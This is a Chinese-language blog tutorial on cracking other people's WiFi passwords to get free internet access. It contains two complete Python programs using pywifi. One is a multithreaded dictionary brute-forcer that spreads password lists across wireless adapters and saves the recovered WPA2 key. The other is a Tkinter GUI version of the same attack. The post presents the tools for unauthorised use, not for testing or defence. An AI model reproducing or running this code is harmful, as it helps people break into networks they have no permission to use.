目录
前言
有很多小伙伴想要破解WiFi密码,一个一个试太麻烦了不如让python帮你去破解,今天我们就来教大家如何破解WiFi,实现免费蹭网,你就是最靓的仔
1.安装python的包
第一步首先安装以下两个包,确保有这两个包之后才能够成功破解,不然会报错哦,安装包的地方看图二哦
多线程破解教程
基本流程
首先这里介绍一下多线程破解的基本流程如下
(1)读取电脑无线网卡数目,获取每一张网卡对象
(2)为每一个网卡对象创建线程
(3)读取密码本文件夹下的每一个密码txt文件
(4)每条线程对不同的密码本进行读取
(5)每条线程对同一个wifi进行验证
(6)某一条线程连接成功,终止其他线程
(7)将密码存入pwd.txt文件下
密码本如下
一般常用的WiF密码都在这里面哦超级全,鄙人亲自测试,完全可以破解
完整代码如下
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from __future__ import print_function
import os
import threading
import time
import pywifi
from pywifi import const
class NewWifi(object):
def __init__(self, wifiName, filePath):
self.tag = False
self.wifiName = wifiName
self.filePath = filePath
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.ifaces = wifi.interfaces() # 获取无线网卡,list类型
for i in self.ifaces:
i.disconnect() # 断开所有无线连接
def readPassword(self, pfl, iface):
for pf in pfl:
if self.tag is True:
break
path = self.filePath + "\\" + pf
file = open(path, "r")
while True:
pwd = file.readline()
self.connect(pwd.strip(), iface)
if self.tag is True:
break
elif pwd == '':
print(pf + "没有密码!")
break
else:
print("破解中...: " + pwd, end='')
def connect(self, pwd, iface):
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = self.wifiName # 要连接WiFi的名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wps
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 调用密码
iface.remove_all_network_profiles() # 删除所有连接过的wifi文件
tmp_profile = iface.add_network_profile(profile) # 设定新的连接文件
iface.connect(tmp_profile) # 连接wifi
time.sleep(3.5)
if iface.status() == const.IFACE_CONNECTED: # 判断是否成功连接
self.tag = True
f = open("test.txt", 'w')
f.write(pwd)
print("----------------密码已破解!-------------------"+pwd)
iface.disconnect()
time.sleep(0.5)
def getPasswordFileList(self, num, l):
files = []
fileList = os.listdir(self.filePath)
#print(fileList)
while num < len(fileList):
files.append(fileList[num])
num += l
return files
def main(self):
wifiLength = len(self.ifaces)
for i in range(wifiLength):
if self.tag is False:
passwordFileList = self.getPasswordFileList(i, wifiLength)
th = threading.Thread(target=self.readPassword, args=(passwordFileList, self.ifaces[i]))
th.start()
# print(passwordFileList)
if __name__ == '__main__':
nw = NewWifi('REct', 'passwordList') # CMCC-udKg
nw.main()
这里使用的是多线程去破解WiFi,相当于把每一个密码本分发给每个无限的网卡,不同网卡使用一个同的密码文件,多线程的破解就会比单线程破解比较快
破解效果如下
密码最终会保存在文件中去,是不是非常方便哈哈哈哈哈,多线程破解要比单线程暴力破解快了很多 ,但是这样子运行显得很一般,在别人面前装也装不起来,那么我又加以改进做了个带界面版本的。
界面版本WiFi破解
注意
首先注意界面版本我们需要导包这里要注意下
代码
话不多说直接上代码
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Tkinter import *
from pywifi import const
import pywifi
import time
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):
# 窗口无线对象
wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建wifi连接文件
profile = pywifi.Profile()
profile.ssid = wifiname
# wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# wifi的密码
profile.key = str
# 网卡的开发
profile.auth = const.AUTH_ALG_OPEN
# 加密单元,这里需要写点加密单元否则无法连接
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的wifi文件
ifaces.remove_all_network_profiles()
# 设置新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 连接
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# 获取wiif名称
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
# 读取
mystr = file.readline().strip()
# 测试连接
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, '密码错误' + mystr)
text.see(END)
text.update()
except:
continue
# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()
破解效果图如下
这样子就显得比较高级点了,速度也是很快的
总结
这次分享了两种WiFi破解的方法,多线程和界面版的破解,另外就是破解的时候注意需要密码本哦,否则代码也识别不了密码,好了今天写道这里。如果哪里有问题 欢迎指出 !